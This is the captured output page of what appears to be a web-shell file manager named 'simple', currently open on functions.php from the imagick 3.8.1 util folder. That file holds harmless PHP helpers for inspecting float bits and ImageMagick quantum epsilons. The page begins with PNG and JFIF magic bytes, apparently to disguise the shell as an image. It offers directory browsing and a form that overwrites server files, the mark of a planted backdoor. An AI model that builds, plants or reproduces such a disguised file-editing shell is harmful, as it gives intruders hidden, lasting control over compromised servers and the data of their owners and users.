�PNG
�JFIF������
<style>  
body { background:#1a1a1a; color:#ccc; font-family:monospace; padding:20px; }  
a { color:#6cf; text-decoration:none; }  
a:hover { text-decoration:underline; }  
textarea,input[type=text] { width:100%; font-family:monospace; background:#222; color:#fff; border:1px solid #444; }  
input[type=submit] { background:#333; color:#fff; border:none; padding:5px 10px; }  
</style><h2>🗂️ simple</h2><p><b>Path:</b> <a href='?path=%2Fbig%2F'>big</a>/<a href='?path=%2Fbig%2FSRC%2F'>SRC</a>/<a href='?path=%2Fbig%2FSRC%2Fimagick-3.8.1%2F'>imagick-3.8.1</a>/<a href='?path=%2Fbig%2FSRC%2Fimagick-3.8.1%2Futil%2F'>util</a>/</p><hr><h3>✏️ Editing: functions.php</h3>  
        <form method='post'>  
            <textarea name='content' rows='20'>&lt;?php

// Mirrored from https://github.com/Danack/HexFloat

require_once __DIR__ . &quot;/FloatInfo.php&quot;;
require_once __DIR__ . &quot;/Float32Info.php&quot;;

use HexFloat\FloatInfo;
use HexFloat\Float32Info;

/**
 * Returns a string containing a hexadecimal representation of the given float,
 * using 64 bits of info
 *
 * @param float $number
 * @return string
 */
function floathex(float $number)
{
    return strrev(unpack(&#039;h*&#039;, pack(&#039;d&#039;, $number))[1]);
}

/**
 * Returns a string containing a hexadecimal representation of the given float,
 * using 32 bits of info
 *
 * @param float $number
 * @return string
 */
function floathex32(float $num)
{
    return strrev(unpack(&#039;h*&#039;, pack(&#039;f&#039;, $num))[1]);
}

/**
 * Convert a floating point number to a FloatInfo object,
 * which contains string representations of the float&#039;s sign,
 * exponent and mantissa
 * @param float $num
 * @return FloatInfo
 */
function float_info(float $num)
{
    $float64 = floathex($num);

    //Sign bit: 1 bit
    //Exponent: 11 bits
    //Significand precision: 53 bits (52 explicitly stored)

    $chars = str_split($float64);


    // 3 bits from this
    $byte1 = hexdec($chars[0]);
    // 4 bits from this
    $byte2 = hexdec($chars[1]);

    // 1 bit from this
    $byte3 = hexdec($chars[2]);

    $sign = &#039;0&#039;;

    if ($byte1 &gt;= 8) {
        $sign = &#039;1&#039;;
    }

    $exponentString = substr($float64, 0, 3);
    $exponentValue = hexdec($exponentString) &amp; 0x7ff;
    $exponent = sprintf(&quot;%b&quot;, $exponentValue);
    $exponent = str_pad($exponent, 11, &#039;0&#039;, STR_PAD_LEFT);

    $mantissa = substr($float64, 2);
    $mantissa = hexdec($mantissa) &amp; 0xfffffffffffff;
    $mantissa = sprintf(&quot;%b&quot;, $mantissa);
    $mantissa = str_pad($mantissa, 52, &#039;0&#039;, STR_PAD_LEFT);

    return new FloatInfo(
        $sign,
        $exponent,
        $mantissa
    );
}

/**
 * Convert a floating point number to a Float32Info object,
 * which contains string representations of the float&#039;s sign,
 * exponent and mantissa
 *
 * @param float $num
 * @return Float32Info
 */
function float_info_32(float $num)
{
    $float32 = floathex32($num);
    $chars = str_split($float32);

    // 3 bits from this
    $byte1 = hexdec($chars[0]);
    // 4 bits from this
    $byte2 = hexdec($chars[1]);

    // 1 bit from this
    $byte3 = hexdec($chars[2]);

    $sign = &#039;0&#039;;

    if ($byte1 &gt;= 8) {
        $sign = &#039;1&#039;;
    }
    $exponent3Bits = ($byte1 &amp; 0x7);
    $exponent4Bits = $byte2;
    $exponent1Bit = ($byte3 &amp; 0x8) &gt;&gt; 3;
    $exponent = ($exponent3Bits &lt;&lt; 5) | ($exponent4Bits &lt;&lt; 1) | $exponent1Bit;

    $exponent = sprintf(&quot;%b&quot;, $exponent);
    $exponent = str_pad($exponent, 8, &#039;0&#039;, STR_PAD_LEFT);

    $mantissa = substr($float32, 2, 6);
    $mantissa = hexdec($mantissa) &amp; 0x7fffff;
    $mantissa = sprintf(&quot;%b&quot;, $mantissa);
    $mantissa = str_pad($mantissa, 23, &#039;0&#039;, STR_PAD_LEFT);

    return new Float32Info(
        $sign,
        $exponent,
        $mantissa
    );
}

/**
 * Produce a debug string that shows the Sign, Exponent and Mantissa for
 * two floating point numbers, using 64bit precision
 *
 *
 * @param float $value1
 * @param float $value2
 * @return string
 *
 * Example result
 * ┌──────┬─────────────┬──────────────────────────────────────────────────────┐
 * │ Sign │ Exponent    │ Mantissa                                             │
 * │    0 │ 01111111011 │ 1001100110011001100110011001100110011001100110011010 │
 * │    0 │ 10000011001 │ 0111110101111000010000000100000000000000000000000000 │
 * └──────┴─────────────┴──────────────────────────────────────────────────────┘
 *
 */
function float_compare(float $value1, float $value2)
{
    $float_info_1 = float_info($value1);
    $float_info_2 = float_info($value2);

    //Sign bit: 1 bit
    //Exponent: 11 bits
    //Significand precision: 53 bits (52 explicitly stored)

    $output  = &quot;┌──────┬─────────────┬──────────────────────────────────────────────────────┐\n&quot;;
    $output .= &quot;│ Sign │ Exponent    │ Mantissa                                             │\n&quot;;

    $format_string = &quot;│    %s │ %s │ %s │\n&quot;;

    $output .= sprintf($format_string, $float_info_1-&gt;getSign(), $float_info_1-&gt;getExponent(), $float_info_1-&gt;getMantissa());
    $output .= sprintf($format_string, $float_info_2-&gt;getSign(), $float_info_2-&gt;getExponent(), $float_info_2-&gt;getMantissa());

    $output .= &quot;└──────┴─────────────┴──────────────────────────────────────────────────────┘\n&quot;;

    return $output;
}


/**
 * Produce a debug string that shows the Sign, Exponent and Mantissa for
 * two floating point numbers, using 32bit precision
 *
 * @param float $value1
 * @param float $value2
 * @return string
 *
 * Example result
 * ┌──────┬──────────┬─────────────────────────┐
 * │ Sign │ Exponent │ Mantissa                │
 * │    0 │ 01111011 │ 10011001100110011001101 │
 * │    0 │ 10011001 │ 01111101011110000100000 │
 * └──────┴──────────┴─────────────────────────┘
 *
 */
function float_compare_32(float $value1, float $value2)
{
    $float_info_1 = float_info_32($value1);
    $float_info_2 = float_info_32($value2);

    $output  = &quot;┌──────┬──────────┬─────────────────────────┐\n&quot;;
    $output .= &quot;│ Sign │ Exponent │ Mantissa                │\n&quot;;

    $format_string = &quot;│    %s │ %s │ %s │\n&quot;;

    $output .= sprintf($format_string, $float_info_1-&gt;getSign(), $float_info_1-&gt;getExponent(), $float_info_1-&gt;getMantissa());
    $output .= sprintf($format_string, $float_info_2-&gt;getSign(), $float_info_2-&gt;getExponent(), $float_info_2-&gt;getMantissa());

    $output .= &quot;└──────┴──────────┴─────────────────────────┘\n&quot;;

    return $output;
}

/**
 * So. One of the disadvantages of non-HDRI compiled Image Magick
 * is that it can&#039;t accurately represent a &#039;50%&#039; color accurately.
 *
 * For example, if ImageMagick is compiled with 16bit color depth
 * then the two closest colors to midpoint are:
 *   32767 / 65535 = 0.5 - (1 / (2 ^ 17)) = 0.499992370...
 *  or
 *   32768 / 65535 = 0.5 + (1 / (2 ^ 17)) = 0.50000762951
 *
 * Either way there is going to be &#039;error&#039; of
 * 0.00000762939453125
 *
 * The problem is even worse when ImageMagick is compiled with 8-bit
 * numbers (though this really shouldn&#039;t be used any more) and the
 * error would be 0.001953125
 *
 */
function get_epsilon_for_off_by_half_errors()
{
    // These could be defined better...
    $epsilon_values_for_non_hdri = [
        &#039;255&#039; =&gt; (1 / (pow(2, 8) - 1)) + 0.0000000000001,
        &#039;65535&#039; =&gt; (1 / (pow(2, 16) - 1)) + 0.0000000000001,
        &#039;16777215&#039; =&gt; (1 / (pow(2, 24) - 1) ) + 0.0000000000001,
        &#039;4294967295&#039; =&gt; (1 / (pow(2, 32) - 1)) + 0.0000000000001,
    ];

    // These could definitely be defined better...
    $epsilon_values_for_hdri = [
        &#039;255&#039; =&gt; 0.0000000000001,
        &#039;65535&#039; =&gt; 0.0000000000001,
        &#039;16777215&#039; =&gt; 0.0000000000001,
        &#039;4294967295&#039; =&gt; 0.0000000000001
    ];

    if (Imagick::getHdriEnabled() === false) {
        $quantum = (string)Imagick::getQuantum();
        if (array_key_exists($quantum, $epsilon_values_for_non_hdri) !== true) {
            throw new Exception(
                &quot;Quantum values is $quantum which is not any of (2^(8|16|24|32)) - 1. Please report this as a bug.&quot;
            );
        }
        return $epsilon_values_for_non_hdri[$quantum];
    }

    $quantum = Imagick::getQuantum();
    if (array_key_exists($quantum, $epsilon_values_for_hdri) !== true) {
        throw new Exception(
            &quot;Quantum values is $quantum which is not any of (2^(8|16|24|32)) - 1. Please report this as a bug.&quot;
        );
    }

    return $epsilon_values_for_hdri[$quantum];
}</textarea><br>  
            <input type='submit' value='Save'>  
        </form>  
        <p><a href='?path=%2Fbig%2FSRC%2Fimagick-3.8.1%2Futil'>🔙 Back</a></p>